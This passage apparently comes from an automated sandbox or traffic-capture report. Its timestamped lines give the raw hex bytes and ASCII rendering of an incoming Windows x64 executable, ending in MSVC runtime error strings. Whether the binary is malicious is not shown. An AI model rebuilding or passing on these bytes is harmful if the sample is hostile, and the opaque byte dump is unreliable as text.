8b 45 00 45 33 c0 48 63 48 04 41 8d 50 01 48 03 cd e8 9a 0d fa ff 48 8d 4c 24 20 e8 00 37 f9 ff 8b cb ff 15 70 85 02 00 48 8b 5c 24 70 33 Data Ascii: )t$@IHSH&FHGH+HHL$ HHHL$(HHHL$0H@HL$ HD$8HT$(H2f8\tHHL$ )HL$ L$L$HT$xt(fHH*t$xY5+N^6FHEE3HcHAPHHL$ 7pH\$p3
2022-08-04 11:37:14 UTC	3962	IN	Data Raw: 24 40 e8 7a 34 fe ff 33 db 3a c3 74 11 48 8d 15 2d 23 03 00 48 8d 4c 24 40 e8 a3 15 fa ff 48 8d 15 2c 23 03 00 48 8d 4c 24 40 e8 52 34 fe ff 3a c3 75 19 48 8d 15 07 23 03 00 48 8d 4c 24 40 e8 3d 34 fe ff 3a c3 0f 84 f6 00 00 00 48 8b ce ff 15 64 82 02 00 83 f8 05 0f 85 e4 00 00 00 48 8d 15 64 f0 02 00 48 8d 4c 24 20 e8 a2 2a f9 ff 48 8d 54 24 60 48 8d 4c 24 20 e8 a3 54 f9 ff 48 8d 15 dc 22 03 00 48 8d 4c 24 20 e8 82 25 fa ff 48 8b 4c 24 20 45 33 c9 45 33 c0 33 d2 ff 15 77 8c 02 00 3b c3 75 7f 48 8d 15 ec 22 03 00 48 8d 4c 24 20 e8 0a 15 fa ff 48 8d 54 24 40 48 8d 4c 24 20 e8 5b 54 f9 ff 48 8d 15 ec 22 03 00 48 8d 4c 24 20 e8 3a 25 fa ff 48 8b 4c 24 20 45 33 c9 45 33 c0 33 d2 ff 15 2f 8c 02 00 3b c3 74 11 48 8b cf e8 2b 87 f9 ff c7 47 08 01 00 00 00 89 1f Data Ascii: $@z43:tH-#HL$@H,#HL$@R4:uH#HL$@=4:HdHdHL$ *HT$`HL$ TH"HL$ %HL$ E3E33w;uH"HL$ HT$@HL$ [TH"HL$ :%HL$ E3E33/;tH+G
2022-08-04 11:37:14 UTC	3978	IN	Data Raw: bd 05 f9 ff 48 ff c3 48 3b de 72 ac 4c 8d 44 24 20 48 8b d7 49 8b cc e8 f5 fd ff ff 48 8b f8 48 85 c0 74 0c 48 ff c3 48 3b de 0f 82 4c ff ff ff 48 8d 4c 24 20 e8 b7 f3 f8 ff 48 8b c7 48 8b 5c 24 60 48 8b 6c 24 68 48 8b 74 24 70 48 83 c4 40 41 5d 41 5c 5f c3 cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 48 83 ec 20 48 8b f2 48 8b e9 e8 a1 fe ff ff 48 8b d8 48 85 c0 74 4f 48 8b ce 33 ff e8 cf f0 fc ff be 0a 11 00 00 84 c0 75 16 48 8b 4d 00 44 8d 47 04 4c 8b cb 8b d6 ff 15 fb 49 02 00 48 8b d8 48 85 db 74 1f 48 8b 4d 00 4c 8b cb 41 b8 01 00 00 00 8b d6 ff c7 ff 15 dc 49 02 00 48 8b d8 48 85 c0 75 e1 8b c7 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 83 c4 20 5f c3 cc cc cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 Data Ascii: HH;rLD$ HIHHtHH;LHL$ HH\$`Hl$hHt$pH@A]A\_H\$Hl$Ht$WH HHHHtOH3uHMDGLIHHtHMLAIHHuH\$0Hl$8Ht$@H _HHXHhHp
2022-08-04 11:37:14 UTC	3979	IN	Data Raw: e8 ff 15 a2 46 02 00 48 3b c6 74 23 39 7c 24 60 74 09 8b 4c 24 60 66 89 74 4d 00 8b 44 24 68 49 8b cd 48 8d 54 45 00 e8 95 d1 f9 ff 40 b6 01 48 8b cd e8 0a 34 fa ff 40 8a c6 eb 02 32 c0 48 8b 5c 24 50 48 83 c4 20 41 5d 41 5c 5f 5e 5d c3 cc cc 48 89 5c 24 18 4c 89 4c 24 20 55 56 57 41 54 41 55 41 56 41 57 b8 20 11 00 00 e8 21 d6 fb ff 48 2b e0 33 ed 44 8b f2 4d 8b e1 41 c1 ee 0b 8b da 4c 8b e9 41 83 e6 01 c7 84 24 60 11 00 00 01 00 00 00 89 ac 24 68 11 00 00 8b fd 48 89 4c 24 70 4c 3b cd 0f 84 84 00 00 00 4c 8b bc 24 80 11 00 00 49 89 29 4c 3b fd 75 0c 8d 5d 10 89 9c 24 68 11 00 00 eb 5d 48 8d 05 54 9a 02 00 41 89 2f 48 89 84 24 90 00 00 00 48 8d 05 42 9b 02 00 48 89 84 24 98 00 00 00 48 8d 05 33 9c 02 00 48 89 84 24 a0 00 00 00 48 8d 05 64 9d 02 00 48 89 Data Ascii: FH;t#9\|$`tL$`ftMD$hIHTE@H4@2H\$PH A]A\_^]H\$LL$ UVWATAUAVAW !H+3DMALA$`$hHL$pL;L$I)L;u]$h]HTA/H$HBH$H3H$HdH
2022-08-04 11:37:14 UTC	3995	IN	Data Raw: 05 d4 a1 02 00 48 8d 8e d4 01 00 00 48 89 44 24 58 48 8d 86 c9 01 00 00 48 8d 15 aa a1 02 00 48 89 44 24 60 48 8d 05 de a1 02 00 48 89 4c 24 48 48 89 44 24 70 48 8d 86 ca 01 00 00 48 8d 0d 1e a3 02 00 48 89 44 24 78 48 8d 05 e2 a1 02 00 4c 8d 05 fb a1 02 00 48 89 84 24 88 00 00 00 48 8d 05 7c f3 04 00 bd 01 00 00 00 48 89 84 24 90 00 00 00 48 8d 05 e0 a1 02 00 45 33 e4 48 89 84 24 a0 00 00 00 48 8d 05 5a f3 04 00 89 6f 08 48 89 84 24 a8 00 00 00 48 8d 05 dc a1 02 00 44 89 27 48 89 84 24 b8 00 00 00 48 8d 05 46 f3 04 00 48 89 54 24 50 48 89 84 24 c0 00 00 00 48 8d 05 e6 a1 02 00 4c 89 54 24 68 48 89 84 24 c8 00 00 00 48 8d 05 e2 a1 02 00 4c 89 94 24 80 00 00 00 48 89 84 24 d0 00 00 00 48 8d 05 03 f3 04 00 4c 89 84 24 98 00 00 00 48 89 84 24 d8 00 00 00 48 Data Ascii: HHD$XHHHD$`HHL$HHD$pHHHD$xHLH$H\|H$HE3H$HZoH$HD'H$HFHT$PH$HLT$hH$HL$H$HL$H$H
2022-08-04 11:37:14 UTC	3996	IN	Data Raw: 02 00 00 48 8d 05 c7 a1 02 00 48 89 84 24 b0 02 00 00 48 8d 86 00 05 00 00 48 89 84 24 b8 02 00 00 49 8b 5f 08 48 8d 05 cd a1 02 00 4c 89 94 24 c0 02 00 00 48 8b 0b 48 89 84 24 c8 02 00 00 48 8d 86 01 05 00 00 48 89 84 24 d0 02 00 00 48 8d 05 cc a1 02 00 4c 89 94 24 d8 02 00 00 48 89 84 24 e0 02 00 00 48 8d 86 fc 04 00 00 4c 89 a4 24 00 03 00 00 48 89 84 24 e8 02 00 00 48 8d 05 c6 a1 02 00 4c 89 8c 24 20 03 00 00 48 89 84 24 f0 02 00 00 48 8d 05 bf a1 02 00 48 89 84 24 f8 02 00 00 48 8d 05 d8 a1 02 00 48 89 84 24 08 03 00 00 48 8d 05 d9 a1 02 00 48 89 84 24 10 03 00 00 48 8d 86 2c 05 00 00 48 89 84 24 18 03 00 00 e8 4d 88 fd ff 41 3a c4 75 07 8b d5 e9 44 06 00 00 b8 2a 00 00 00 66 41 39 06 74 ee 4c 3b ed 74 11 48 8b 4b 08 8d 50 ff e8 85 11 fe ff 41 3a c4 Data Ascii: HH$HH$I_HL$HH$HH$HL$H$HL$H$HL$ H$HH$HH$HH$H,H$MA:uD*fA9tL;tHKPA:
2022-08-04 11:37:14 UTC	4012	IN	Data Raw: c0 74 1d 48 8b 4c 24 50 0f ba af 10 01 00 00 07 e8 90 bd f9 ff 89 87 b4 01 00 00 e9 4d fe ff ff 48 8d 15 66 fe 01 00 48 8d 4c 24 30 e8 50 6c fd ff 84 c0 74 1d 48 8b 4c 24 50 0f ba af 10 01 00 00 08 e8 5e bd f9 ff 89 87 b8 01 00 00 e9 1b fe ff ff 48 8d 15 38 fe 01 00 48 8d 4c 24 30 e8 1e 6c fd ff 84 c0 74 1d 48 8b 4c 24 50 0f ba af 10 01 00 00 09 e8 2c bd f9 ff 89 87 bc 01 00 00 e9 e9 fd ff ff 48 8d 15 0e fe 01 00 48 8d 4c 24 30 e8 ec 6b fd ff 84 c0 74 1c 48 8b 4c 24 50 83 8f 10 01 00 00 02 e8 fb bc f9 ff 89 87 9c 01 00 00 e9 b8 fd ff ff 48 8d 15 f5 fd 01 00 48 8d 4c 24 30 e8 bb 6b fd ff 84 c0 74 1d 83 8f 10 01 00 00 04 48 8d 8f 78 01 00 00 48 8d 54 24 50 e8 ff 6a f9 ff e9 86 fd ff ff 48 8d 15 b3 fb 01 00 48 8d 4c 24 30 e8 79 f4 fd ff 84 c0 e9 30 fe ff ff Data Ascii: tHL$PMHfHL$0PltHL$P^H8HL$0ltHL$P,HHL$0ktHL$PHHL$0ktHxHT$PjHHL$0y0
2022-08-04 11:37:14 UTC	4013	IN	Data Raw: 24 70 48 8b cb e8 07 5a f9 ff eb 22 48 8b 8c 24 30 01 00 00 4c 8d 44 24 50 48 8b d6 e8 d0 70 ff ff 48 8d 54 24 50 48 8b cb e8 f3 88 f8 ff 4c 8b 84 24 40 01 00 00 48 8b 94 24 48 01 00 00 48 8b 8c 24 30 01 00 00 83 64 24 28 00 4c 8b cb 40 88 6c 24 20 e8 c9 fe ff ff 84 c0 75 49 48 8d 54 24 30 48 8b cb e8 78 67 f9 ff 48 3b b4 24 40 01 00 00 74 55 48 8b 84 24 30 01 00 00 4c 8b ce 4c 8b c7 48 8b 08 ba 0a 11 00 00 ff 15 1a be 01 00 01 bc 24 38 01 00 00 48 8b f0 48 85 c0 0f 85 e7 fe ff ff 40 32 ff 48 8d 4c 24 50 e8 42 67 f8 ff 48 8d 4c 24 30 e8 38 67 f8 ff 40 8a c7 48 81 c4 08 01 00 00 5f 5e 5d 5b c3 48 8b cb e8 91 64 fc ff 84 c0 75 0f 48 8d 15 b6 f8 01 00 48 8b cb e8 2e 59 f9 ff 40 84 ed 74 33 8b 8c 24 38 01 00 00 48 8d 54 24 70 41 b8 0a 00 00 00 e8 a6 b7 f9 ff Data Ascii: $pHZ"H$0LD$PHpHT$PHL$@H$HH$0d$(L@l$ uIHT$0HxgH;$@tUH$0LLH$8HH@2HL$PBgHL$08g@H_^][HduHH.Y@t3$8HT$pA
2022-08-04 11:37:14 UTC	4029	IN	Data Raw: 8b ce ff 15 c9 7a 01 00 44 8d 60 ff 44 3b e7 7e 41 4c 8d 84 24 80 00 00 00 41 b9 04 01 00 00 8b d7 48 8b ce ff 15 a7 7a 01 00 48 8d 94 24 80 00 00 00 48 8d 4c 24 20 e8 d5 19 f9 ff 48 8d 4c 24 20 ba 0a 00 00 00 e8 76 39 f8 ff ff c7 41 3b fc 7c bf 4c 8d 84 24 80 00 00 00 41 b9 04 01 00 00 8b d7 48 8b ce ff 15 66 7a 01 00 48 8d 94 24 80 00 00 00 48 8d 4c 24 20 e8 94 19 f9 ff 48 8d 54 24 20 48 8b cd e8 77 32 f9 ff 48 8b ce ff 15 96 76 01 00 4c 8b 1b 45 33 c0 49 63 4b 04 41 8d 50 01 48 03 cb e8 78 fd f8 ff eb 24 ff 15 90 7e 01 00 45 33 c0 3b c7 48 8b 03 41 8d 50 02 48 63 48 04 75 04 41 8d 50 01 48 03 cb e8 b2 fd f8 ff ff 15 74 7e 01 00 48 8d 4c 24 20 e8 12 27 f8 ff 4c 8d 9c 24 90 02 00 00 33 c0 49 8b 5b 10 49 8b 6b 18 49 8b 73 20 49 8b 7b 28 49 8b e3 41 5c c3 Data Ascii: zD`D;~AL$AHzH$HL$ HL$ v9A;\|L$AHfzH$HL$ HT$ Hw2HvLE3IcKAPHx$~E3;HAPHcHuAPHt~HL$ 'L$3I[IkIs I{(IA\
2022-08-04 11:37:14 UTC	4030	IN	Data Raw: 41 8a ed 41 3b c4 75 03 41 8a ec 48 8b 47 08 48 8b 08 e8 2a 17 f9 ff 48 8d 15 73 bf 01 00 48 8b c8 e8 5b 24 fd ff 41 3a c4 0f 85 8b 02 00 00 83 be 48 01 00 00 02 0f 85 f2 00 00 00 48 8b 47 08 48 8b 08 e8 29 1f fe ff 48 8d 4c 24 40 48 8b d0 e8 d8 6b f9 ff 41 be 5c 00 00 00 48 8d 4c 24 40 41 8b d6 e8 f1 84 f9 ff 49 3b c4 75 3b 48 8b 96 90 01 00 00 48 8d 4c 24 40 e8 af 6b f9 ff 48 8d 15 e8 ba 01 00 48 8d 4c 24 40 e8 72 6b f9 ff 4c 8b 5f 08 49 8b 0b e8 d6 1e fe ff 48 8d 4c 24 40 48 8b d0 e8 59 6b f9 ff 48 8b 47 08 48 8b 48 08 e8 bc 1e fe ff 48 8d 8c 24 50 02 00 00 48 8b d0 e8 68 6b f9 ff 48 8d 8c 24 50 02 00 00 e8 cf 0b fc ff 41 3a c4 74 2c 48 8d 8c 24 50 02 00 00 e8 41 67 f9 ff 66 44 39 b4 44 4e 02 00 00 74 14 48 8b cb e8 2a 77 f8 ff 44 89 6b 08 44 89 23 e9 Data Ascii: AA;uAHGHHsH[$A:HHGH)HL$@HkA\HL$@AI;u;HHL$@kHHL$@rkL_IHL$@HYkHGHHH$PHhkH$PA:t,H$PAgfD9DNtHwDkD#
2022-08-04 11:37:14 UTC	4046	IN	Data Raw: fb ff 33 c0 e9 e2 02 00 00 48 8d 0d d1 27 04 00 49 8b d7 83 f5 40 c7 47 18 40 00 00 00 e8 4f 9b fb ff 41 3b c6 7c 18 48 63 c8 48 8b 05 50 28 04 00 48 8b 0c c8 48 8b 01 c7 40 18 00 00 00 80 48 8d 54 24 60 49 8b cf ff 15 74 3a 01 00 48 8d 54 24 70 49 8b cf ff 15 a6 39 01 00 b9 07 00 00 00 ff 15 a3 37 01 00 8b 4c 24 68 2b 4c 24 78 2b c8 44 03 e9 b9 08 00 00 00 44 89 ac 24 d0 00 00 00 ff 15 83 37 01 00 8b 4c 24 6c 2b 4c 24 7c 2b c8 8b c3 44 03 e1 b9 00 00 c0 00 23 c1 3b c1 75 0e b9 04 00 00 00 ff 15 5e 37 01 00 44 03 e0 44 8b b4 24 e0 00 00 00 44 8b ac 24 e8 00 00 00 b8 90 01 00 00 41 83 fe ff 44 0f 44 f0 41 83 fd ff 44 0f 44 e8 83 bc 24 d0 00 00 00 ff 75 3e 33 d2 4c 8d 44 24 60 45 33 c9 8d 4a 30 ff 15 39 3b 01 00 b9 07 00 00 00 ff 15 0e 37 01 00 8b 4c 24 60 Data Ascii: 3H'I@G@OA;\|HcHP(HH@HT$`It:HT$pI97L$h+L$x+DD$7L$l+L$\|+D#;u^7DD$D$ADDADD$u>3LD$`E3J09;7L$`
2022-08-04 11:37:14 UTC	4047	IN	Data Raw: 8d 4c 24 20 e8 48 04 f8 ff 48 8d 4c 24 20 e8 0e bd fc ff 84 c0 75 23 48 8d 4c 24 20 e8 40 c2 f8 ff 48 8d 4c 24 20 8d 58 ff e8 f3 33 f8 ff c7 44 24 28 01 00 00 00 89 5c 24 20 49 8b 44 24 08 48 8b 08 e8 7a af fb ff 4c 8d 4c 24 68 4c 8d 44 24 78 48 8d 54 24 20 48 8b c8 e8 23 dd fd ff 48 8b cf 48 8b d8 48 85 c0 75 27 e8 b3 33 f8 ff 21 1f 8b 54 24 68 c7 47 08 01 00 00 00 48 8b 45 00 45 33 c0 48 63 48 04 48 03 cd e8 f3 b5 f8 ff eb 0f e8 8c 33 f8 ff c7 47 08 07 00 00 00 48 89 1f 48 8d 4c 24 20 e8 78 33 f8 ff eb 1e 48 8b 0b e8 0e af fb ff 48 8b cf 48 8b 58 10 e8 62 33 f8 ff c7 47 08 07 00 00 00 48 89 1f 33 c0 48 8b 5c 24 60 48 83 c4 40 41 5c 5f 5d c3 cc cc cc cc cc cc cc cc 48 8b c4 48 89 58 08 55 56 57 41 54 41 55 41 56 41 57 48 81 ec e0 05 00 00 48 8b d9 49 8b Data Ascii: L$ HHL$ u#HL$ @HL$ X3D$(\$ ID$HzLL$hLD$xHT$ H#HHHu'3!T$hGHEE3HcHH3GHHL$ x3HHHXb3GH3H\$`H@A\_]HHXUVWATAUAVAWHHI
2022-08-04 11:37:14 UTC	4063	IN	Data Raw: f8 ff 45 33 c0 8b d0 49 8b 04 24 48 63 48 04 49 03 cc e8 6a 76 f8 ff 49 8b cd e8 2a e0 f8 ff eb 9e 45 33 c9 44 8b c5 33 d2 48 8b ce e8 b0 8d f8 ff 48 8b c8 48 8b d8 e8 e5 f3 f7 ff 44 8b cd 44 8b c5 33 d2 48 8b ce 89 6b 08 c7 03 d1 94 b5 02 e8 8c 8d f8 ff 48 8b c8 48 8b d8 e8 c1 f3 f7 ff 45 8b cf 44 8b c5 33 d2 48 8b ce 89 6b 08 44 89 2b e8 6b 8d f8 ff 49 8b 4e 08 48 8b 09 48 8b d8 e8 bc 92 f8 ff 48 8b cb 48 8b d0 e8 71 aa f8 ff 41 b9 03 00 00 00 44 8b c5 33 d2 48 8b ce e8 3e 8d f8 ff 49 8b 4e 08 48 8b 49 08 48 8b d8 e8 8e 92 f8 ff 48 8b cb 48 8b d0 e8 43 aa f8 ff 48 8b 5c 24 60 48 8b 6c 24 68 48 8b 74 24 70 33 c0 48 83 c4 30 41 5f 41 5e 41 5d 41 5c 5f c3 cc cc cc cc 48 89 5c 24 08 55 56 57 41 54 41 55 41 56 41 57 48 81 ec 90 02 00 00 48 8b 42 08 48 8b d9 Data Ascii: E3I$HcHIjvI*E3D3HHHDD3HkHHED3HkD+kINHHHHqAD3H>INHIHHHCH\$`Hl$hHt$p3H0A_A^A]A\_H\$UVWATAUAVAWHHBH
2022-08-04 11:37:14 UTC	4064	IN	Data Raw: 3b e7 75 03 49 8b ce e8 e5 94 fd ff 4c 8b c3 48 8b d6 48 8b c8 e8 d7 dc f8 ff 48 8b ce e8 1f e0 f8 ff 33 c0 48 8b 9c 24 d0 02 00 00 48 81 c4 90 02 00 00 41 5f 41 5e 41 5d 41 5c 5f 5e 5d c3 cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 41 54 41 55 48 83 ec 40 48 8b 42 08 45 33 c9 48 8b e9 48 8b 08 45 8d 69 01 49 8b f0 4c 8b e2 45 8b c5 41 8b d5 e8 66 89 f8 ff 48 85 c0 75 25 48 8b ce e8 99 ef f7 ff 83 26 00 44 89 6e 08 48 8b 45 00 45 33 c0 48 63 48 04 48 03 cd 83 ca ff e9 1f 01 00 00 48 8b c8 e8 b4 7d f8 ff 3d d1 94 b5 02 74 19 48 8b ce e8 65 ef f7 ff 83 26 00 44 89 6e 08 ba fe ff ff ff e9 e9 00 00 00 49 8b 44 24 08 41 b9 03 00 00 00 45 8b c5 48 8b 38 41 8b d5 48 8b cf e8 f8 88 f8 ff 48 8b c8 e8 70 7d f8 ff 41 b9 02 00 00 00 45 8b c5 41 8b d5 48 8b Data Ascii: ;uILHHH3H$HA_A^A]A\_^]H\$Hl$Ht$WATAUH@HBE3HHEiILEAfHu%H&DnHEE3HcHHH}=tHe&DnID$AEH8AHHp}AEAH
2022-08-04 11:37:14 UTC	4080	IN	Data Raw: 83 ff 07 0f 82 ab 00 00 00 49 8b 4d 08 48 8b 49 30 e8 4b 3e f8 ff 8b f0 83 f8 ff 0f 84 93 00 00 00 85 c0 7e 05 83 f8 64 7e 05 be 0a 00 00 00 8b 54 24 38 8b 84 24 98 00 00 00 44 8b 44 24 3c 89 54 24 30 44 89 84 24 a8 00 00 00 3b c2 75 05 45 3b f0 74 6a 48 8d 8c 24 a8 00 00 00 41 b9 01 00 00 00 44 8b c6 48 89 4c 24 28 48 8d 4c 24 30 41 8b d6 48 89 4c 24 20 8b c8 e8 b3 3b fb ff 84 c0 74 4f 44 8b 84 24 a8 00 00 00 8b 54 24 30 48 8b 8b 50 03 00 00 45 8b cc 89 6c 24 20 e8 40 68 fb ff b9 32 00 00 00 e8 c6 3a fb ff 8b 84 24 98 00 00 00 eb a0 8b 94 24 98 00 00 00 45 8b c6 48 8b 8b 50 03 00 00 45 8b cc 89 6c 24 20 e8 10 68 fb ff 48 8b 83 50 03 00 00 48 8b cf 48 8b 18 e8 3e af f7 ff c7 47 08 07 00 00 00 48 89 1f 33 c0 48 8b 9c 24 90 00 00 00 48 83 c4 50 41 5f 41 5e Data Ascii: IMHI0K>~d~T$8$DD$<T$0D$;uE;tjH$ADHL$(HL$0AHL$ ;tOD$T$0HPEl$ @h2:$$EHPEl$ hHPHH>GH3H$HPA_A^
2022-08-04 11:37:14 UTC	4081	IN	Data Raw: 44 89 70 50 66 44 89 b0 e0 00 00 00 ff 15 bf a7 00 00 4c 8b 05 d8 90 03 00 48 8d 0d b1 b0 03 00 41 89 80 e8 00 00 00 66 45 89 b0 f8 00 00 00 8b 97 c0 01 00 00 e8 f7 52 fb ff 41 89 80 00 01 00 00 4c 3b eb 0f 84 a1 00 00 00 8d 43 08 49 8d 88 98 00 00 00 48 8d 54 24 20 66 89 44 24 20 49 8b 45 08 48 89 44 24 28 ff 15 dc a9 00 00 48 8b 0d 7d 90 03 00 4d 8b 5d 10 48 8d 54 24 20 48 83 e9 80 4c 89 5c 24 28 ff 15 bd a9 00 00 48 8b 0d 5e 90 03 00 4d 8b 5d 18 48 8d 54 24 20 48 81 c1 b0 00 00 00 4c 89 5c 24 28 ff 15 9b a9 00 00 48 8b 0d 3c 90 03 00 66 44 89 b1 c8 00 00 00 41 8b 45 20 66 44 89 b1 10 01 00 00 89 81 d0 00 00 00 41 0f b7 45 00 66 3b c3 0f b7 c0 75 04 41 8b 45 38 3b c3 89 81 18 01 00 00 0f 45 f0 4c 3b e3 74 0f 48 8d 4c 24 38 49 8b d4 e8 64 5e f8 ff eb 27 Data Ascii: DpPfDLHAfERAL;CIHT$ fD$ IEHD$(H}M]HT$ HL\$(H^M]HT$ HL\$(H<fDAE fDAEf;uAE8;EL;tHL$8Id^'
2022-08-04 11:37:14 UTC	4097	IN	Data Raw: 4c 89 64 24 28 48 89 74 24 20 4c 8b cb e9 88 00 00 00 48 8b 42 08 48 8b 48 10 48 8b 58 08 48 8b 38 e8 4b 13 fd ff 48 8b cb 48 8b f0 e8 40 13 fd ff 48 8b cf 48 8b d8 e8 35 13 fd ff 4c 89 6c 24 30 48 83 64 24 28 00 eb bc 48 8b 42 08 48 8b 48 08 48 8b 18 e8 18 13 fd ff 48 8b cb 48 8b f8 e8 0d 13 fd ff 4c 89 6c 24 30 48 83 64 24 28 00 48 83 64 24 20 00 4c 8b cf eb 20 48 8b 42 08 48 8b 08 e8 eb 12 fd ff 4c 89 6c 24 30 48 83 64 24 28 00 48 83 64 24 20 00 45 33 c9 4c 8d 05 d0 73 00 00 48 8b d0 49 8b ce e8 f5 e6 ff ff 48 8b 5c 24 60 48 8b 6c 24 68 48 8b 74 24 70 48 8b 7c 24 78 33 c0 48 83 c4 40 41 5e 41 5d 41 5c c3 cc cc cc cc 4c 8b dc 49 89 5b 08 4d 89 4b 20 55 56 57 41 54 41 55 41 56 41 57 48 81 ec c0 00 00 00 4d 8b 68 10 48 83 c8 ff 33 f6 8b fa 89 44 24 78 49 Data Ascii: Ld$(Ht$ LHBHHHXH8KHH@HH5Ll$0Hd$(HBHHHHHLl$0Hd$(Hd$ L HBHLl$0Hd$(Hd$ E3LsHIH\$`Hl$hHt$pH\|$x3H@A^A]A\LI[MK UVWATAUAVAWHMhH3D$xI
2022-08-04 11:37:14 UTC	4098	IN	Data Raw: fe ff ff 83 ff 17 0f 8c 12 fe ff ff 83 ff 1a 0f 8e f2 fd ff ff 83 ff 1b 74 24 83 ff 1c 0f 84 e1 fd ff ff 83 ff 1d 0f 85 f2 fd ff ff 49 8b 40 08 8b dd 4c 8b 30 e9 e4 fd ff ff 48 83 c8 ff 0b da 83 cb 04 48 8b f0 e9 d3 fd ff ff cc cc cc cc cc cc 4d 8b c8 4c 8b c2 ba 1d 00 00 00 e9 70 fc ff ff 4d 8b c8 4c 8b c2 ba 15 00 00 00 e9 60 fc ff ff 4d 8b c8 4c 8b c2 ba 16 00 00 00 e9 50 fc ff ff 4d 8b c8 4c 8b c2 ba 11 00 00 00 e9 40 fc ff ff 4d 8b c8 4c 8b c2 ba 10 00 00 00 e9 30 fc ff ff 4d 8b c8 4c 8b c2 ba 0b 00 00 00 e9 20 fc ff ff 4d 8b c8 4c 8b c2 ba 0a 00 00 00 e9 10 fc ff ff 4d 8b c8 4c 8b c2 ba 1a 00 00 00 e9 00 fc ff ff 4d 8b c8 4c 8b c2 ba 12 00 00 00 e9 f0 fb ff ff 4d 8b c8 4c 8b c2 ba 08 00 00 00 e9 e0 fb ff ff 4d 8b c8 4c 8b c2 ba 06 00 00 00 e9 d0 fb Data Ascii: t$I@L0HHMLpML`MLPML@ML0ML MLMLMLMLML
2022-08-04 11:37:14 UTC	4114	IN	Data Raw: 00 48 8d 4c 24 30 e8 56 db f7 ff 44 8b 8c 24 88 02 00 00 4c 8d 44 24 30 48 8d 54 24 68 41 bd 10 00 00 00 48 8b ce 44 89 6c 24 20 e8 41 dd fe ff 4c 8d 8c 24 88 02 00 00 4c 8d 84 24 90 00 00 00 48 8d 54 24 68 48 8b ce 44 89 6c 24 20 e8 0f b3 f7 ff 4c 8b ac 24 90 00 00 00 4d 3b ef 0f 84 20 05 00 00 45 8a f7 48 8d 0d 5c 17 03 00 e8 cf a7 fa ff 41 b9 00 04 00 00 4d 8b c5 48 8d 54 24 48 48 8b ce 41 3a c7 74 0a c7 44 24 20 02 00 00 00 eb 08 c7 44 24 20 01 00 00 00 e8 92 b6 fd ff 4c 8d 8c 24 88 02 00 00 4c 8d 84 24 b8 00 00 00 48 8d 54 24 48 48 8b ce 44 89 64 24 20 e8 a0 b2 f7 ff eb 2a 81 bc 24 88 02 00 00 00 04 00 00 0f 85 05 05 00 00 e8 d8 a2 fa ff 4c 8b e8 48 89 84 24 90 00 00 00 49 3b c7 0f 84 ec 04 00 00 ff 07 8b 17 48 8b 4d 08 48 8b 14 d1 66 83 7a 08 4e 0f Data Ascii: HL$0VD$LD$0HT$hAHDl$ AL$L$HT$hHDl$ L$M; EH\AMHT$HHA:tD$ D$ L$L$HT$HHDd$ *$LH$I;HMHfzN
2022-08-04 11:37:14 UTC	4115	IN	Data Raw: 84 24 88 00 00 00 0f 82 71 ff ff ff 4c 63 84 24 90 02 00 00 45 33 ff 4d 3b c7 7e 13 48 8d 8c 24 c0 00 00 00 49 c1 e0 02 33 d2 e8 d2 1e f8 ff 48 8d 84 24 c0 00 00 00 4d 8b cd 4c 8b c7 48 8b d5 48 8b cb c7 44 24 28 01 00 00 00 48 89 44 24 20 e8 cc f7 ff ff 41 3a c7 0f 84 9b 01 00 00 e9 df 00 00 00 e8 79 9b fb ff 84 c0 0f 85 60 01 00 00 8b c6 45 33 f6 48 63 ce 48 3b 45 10 0f 83 90 00 00 00 49 8d 0c cc 41 8d 56 7f 48 89 8c 24 88 00 00 00 4c 8b 21 41 0f b7 44 24 08 66 3b c2 74 72 66 83 f8 4e 74 53 41 b8 47 00 00 00 66 41 3b c0 74 47 66 83 f8 4f 74 3c 66 83 f8 48 74 36 66 83 f8 40 75 05 45 85 f6 74 49 66 83 f8 33 75 2d 49 8b 0c 24 48 8d 54 24 48 e8 84 cf f7 ff 84 c0 0f 85 d9 00 00 00 48 8b 8c 24 88 00 00 00 ba 7f 00 00 00 eb 08 41 ff ce eb 03 41 ff c6 ff c6 48 Data Ascii: $qLc$E3M;~H$I3H$MLHHD$(HD$ A:y`E3HcH;EIAVH$L!AD$f;trfNtSAGfA;tGfOt<fHt6f@uEtIf3u-I$HT$HH$AAH
2022-08-04 11:37:14 UTC	4131	IN	Data Raw: 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 6c 6f 77 69 6f 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0d 0a 00 00 00 00 52 36 30 32 36 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 73 74 64 69 6f 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0d 0a 00 00 00 00 52 36 30 32 35 0d 0a 2d 20 70 75 72 65 20 76 69 72 74 75 61 6c 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 0d 0a 00 00 00 52 36 30 32 34 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 5f 6f 6e 65 78 69 74 2f 61 74 65 78 69 74 20 74 61 62 6c 65 0d 0a 00 00 00 00 52 36 30 31 39 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 63 6f 6e 73 6f 6c 65 20 64 65 76 69 63 65 0d 0a 00 00 00 00 00 00 00 00 52 36 30 31 38 0d 0a 2d 20 75 6e 65 78 70 Data Ascii: ough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open console deviceR6018- unexp
